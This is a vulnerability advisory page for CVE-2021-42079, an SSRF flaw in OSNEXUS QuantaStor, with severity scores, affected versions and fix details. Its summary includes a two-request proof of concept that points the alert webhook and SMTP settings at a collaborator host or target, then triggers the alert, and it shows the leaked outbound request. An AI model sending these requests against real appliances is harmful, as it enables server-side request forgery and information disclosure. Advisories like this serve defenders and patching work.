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TI-2021-18588 Aliases CVE-2021-42079GHSA-4v64-w7v7-ch7f

SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Priority LOW 29CWE-918Published · Updated

Key facts

Attack vector
Network
Privileges required
High
User interaction
Required
Attack complexity
Low
Impact type
Information disclosure
Confidentiality · integrity · availability
High · None · None
Fix status
Fixed

Attack profile from CVSS 3.1 · CNA. Fix status from CNA. Impact type from CWE-918 and the CVSS impact.

Summary

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

Why it matters now

Exploitation None reported CISA SSVC · not in CISA KEV
EPSS 0.00694 53rd percentileScored 2026-11-07
Public exploit Yes 1 exploit referenceTagged by the CNA
Fix Fixed QuantaStor (OSNEXUS): 6.0.0.355

SSVC decision points

CISA ADP · SSVC 2.0.3

Exploitation
None
Automatable
No
Technical impact
Partial

The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.

Affected products

VendorProductAffected versionsFixed inStatusSource
OSNEXUSQuantaStorbefore 6.0.0.3556.0.0.355Patch availableCNA
  • QuantaStor VendorOSNEXUS Affected before 6.0.0.355 Fixed in 6.0.0.355 Patch available CNA

CPE configurations NVD · 1

CPEVersionsRoleVendor
cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*before 6.0.0.355VulnerableOSNEXUS
  • cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:* Versions before 6.0.0.355 Vulnerable ·OSNEXUS

Remediation

  • Fix · CNA QuantaStor (OSNEXUS) Fixed in 6.0.0.355

Fixed in the same release

Records fixed by the same vendor advisory or release, as the CNA lists them.

  • Release ·

    OSNEXUS QuantaStor 6.0.0.355

    5 records Highest priority Priority MEDIUM 1 MEDIUM, 4 LOW

    Other records, highest priority first

    • TI-2021-18590 Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355Priority MEDIUM 44
    • TI-2021-18592 Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335Priority LOW 38
    • TI-2021-18591 Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355Priority LOW 35

Timeline

  1. 2026-10-02 Threatist record created from CVE-2021-42079
  2. 2026-10-03 Alias added: GHSA-4v64-w7v7-ch7f

References

  • TI-2021-03263 Authenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and others CVSS 3.1CRITICAL 9.1
  • TI-2021-18590 Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355 CVSS 3.1CRITICAL 9.1
  • TI-2021-18592 Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335 CVSS 3.1HIGH 8.7
  • TI-2021-18591 Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355 CVSS 3.1HIGH 7.8
  • TI-2021-18589 Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355 CVSS 3.1HIGH 7.4
  • TI-2017-07338 On the OSNEXUS QuantaStor v4 virtual appliance before 4.3.1, if the REST call invoked… CVSS 3.0MEDIUM 6.1
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